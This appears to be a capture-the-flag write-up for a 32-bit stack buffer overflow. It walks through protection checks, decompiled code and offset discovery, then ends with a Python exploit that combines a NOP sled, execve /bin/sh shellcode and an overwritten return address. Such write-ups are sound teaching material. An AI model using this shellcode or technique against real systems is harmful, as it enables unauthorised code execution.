Shell Code
Goal of the exercise
Have a shell and print the contents of the flag file.
Research And Reverse Engineering Test
See if there are any protections:
I see it with “checksec” command:
Apparently the program has no protection.What the program uses:
I see it with “ltrace” command:
I want to know more about “puts” and “read”:
Decompiled C code:
main():
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts(
" _________.__ .__ .__ .___ \n"
" / _____/| |__ ____ | | | | ____ ____ __| _/____ \n"
" \\_____ \\ | | \\_/ __ \\| | | | _/ ___\\/ _ \\ / __ |/ __ \\ \n"
" / \\| Y \\ ___/| |_| |_\\ \\__( <_> ) /_/ \\ ___/ \n"
"/_______ /|___| /\\___ >____/____/\\___ >____/\\____ |\\___ >\n"
" \\/ \\/ \\/ \\/ \\/ \\/ \n"
"\n"
"\n");
prog();
return 0;
}
prog():
int prog()
{
char v1; // [esp+8h] [ebp-3F0h]
get_name(&v1);
return printf("Hello Mr.%s\n", &v1);
}
The C code has nothing interesting, so I have to write it myself.
ACTUAL ANALYSIS AND EXPLOITATION BEGINS HERE
I need to know if there is space to write a shellcode:
I can see it from the Assembly code to the “prog()” function:
The stack is assigned 0x3f8 bytes of space for the variables.cereal@killer-VirtualBox:~/Desktop/challenge/l0ngl0ng$ ipython
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
Type "copyright", "credits" or "license" for more information.
IPython 2.4.1 -- An enhanced Interactive Python.
? -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help -> Python's own help system.
object? -> Details about 'object', use 'object??' for extra details.
In [1]: 0x3f8
Out[1]: 1016
So 1016 bytes, It’s definitely enough space.
I need to know if I can take control of the return address:
I can make it with a “Cyclic” string:
cereal@killer-VirtualBox:~/Desktop/challenge/shellcode$ cyclic -l 0x6b616164
1012
The cyclic query confirms that the return address has been overwritten with part of my string. Exactly after 1012 bytes (or characters). I can write a small script to test it:
import struct, sys
junk = "B"*1012
jmp_address = struct.pack("<I", 0x41414141)
payload = junk+jmp_address
print(payload)
Result:
EIP its perfectly overwritten with "41414141". This confirms that there are 1012 bytes first. ### I need to know where I start writing in memory: With a breakpoint immediately after my input, I can see the memory layout: Now in know that I start writing in these addresses, one of the first will be fine. ## Final exploit writing x.py:import struct, sys
nope = "\x90"*900
nope2 = "\x90"*89
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23bytes
jmp_address = struct.pack("<I", 0xffffcd60)
payload = nope+shell+nope2+jmp_address
print(payload)
sys.stdout.flush()
Script analysis:
- 900 “nop”, to slide the program to the beginning of the shell code
- The shell code
- 90 “nop” between shell code and return address
- The return address
In this way, I first added some code to my liking and later made sure the program jumps in it! Result: